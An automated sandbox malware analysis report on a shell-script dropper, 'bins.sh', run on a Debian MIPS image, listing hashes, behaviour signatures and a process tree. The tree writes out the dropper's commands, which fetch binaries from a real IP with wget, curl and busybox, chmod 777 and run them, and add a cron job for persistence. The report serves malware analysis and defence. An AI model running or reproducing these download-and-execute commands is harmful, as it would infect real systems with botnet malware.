Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 06:26

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a907747b98b9d664473f98c795b9aa0b

  • SHA1

    09582d30c9eeb7afd4082871aa2fbcd003fdfdf7

  • SHA256

    267a3a050e4a19bd30d00800a2f746eb9dfb894921f15d3f69c27c672d5b513a

  • SHA512

    cafc9f4e197f621722ddb1eae2b1b34caf79f7c5a79ebc81281a63f6ca0e59216b0dd59704df71c3ac15c3f9419e706961f021e6465a5c839122cb02c49598b4

  • SSDEEP

    192:xkciP7LGOqvFaMj5fHo7AfHPkZP7LGO8vh:xxWMjGaZ

Malware Config

Signatures

  • Contacts a large (1462) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://216.126.231.240/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://216.126.231.240/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:760
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:770
            • /bin/chmod
              chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • File and Directory Permissions Modification
              PID:774
            • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:776
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:778
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:779
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:781
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:783
                  • /bin/rm
                    rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
                    2⤵
                      PID:785
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                      2⤵
                        PID:789
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                        2⤵
                          PID:792
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                          2⤵
                          • Writes file to tmp directory
                          PID:794
                        • /bin/chmod
                          chmod 777 CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                          2⤵
                          • File and Directory Permissions Modification
                          PID:883
                        • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                          ./CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                          2⤵
                          • Executes dropped EXE
                          PID:885
                        • /bin/rm
                          rm CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                          2⤵
                            PID:888
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                            2⤵
                              PID:889
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                              2⤵
                                PID:894
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                                2⤵
                                • Writes file to tmp directory
                                PID:896
                              • /bin/chmod
                                chmod 777 qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                                2⤵
                                • File and Directory Permissions Modification
                                PID:905
                              • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                                ./qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                                2⤵
                                • Executes dropped EXE
                                PID:906
                              • /bin/rm
                                rm qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                                2⤵
                                  PID:909
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                                  2⤵
                                    PID:910
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                                    2⤵
                                      PID:911
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:912
                                    • /bin/chmod
                                      chmod 777 o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:913
                                    • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                                      ./o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                                      2⤵
                                      • Executes dropped EXE
                                      PID:914
                                    • /bin/rm
                                      rm o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                                      2⤵
                                        PID:916
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                                        2⤵
                                          PID:917

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61

                                        Filesize

                                        111KB

                                        MD5

                                        ca897a38f23ec23521ce0b1b83f8422d

                                        SHA1

                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                        SHA256

                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                        SHA512

                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                      • /var/spool/cron/crontabs/tmp.qXEPSX

                                        Filesize

                                        210B

                                        MD5

                                        663623db5feb30230404a17ebe86a59b

                                        SHA1

                                        1d69344936b83caa19bd4ff980aa8f7d146801a7

                                        SHA256

                                        bda52a962e685a483a3890fbe485dff90726c5e1b6ae1e353be419274e6939e8

                                        SHA512

                                        4da205d2991565cb7ade894f9baae945c7e215fd83d2db792730609d472edb0727a668912fe87237cbdcc2e94912507a107ec943610e46a44f322f3d7e7d9922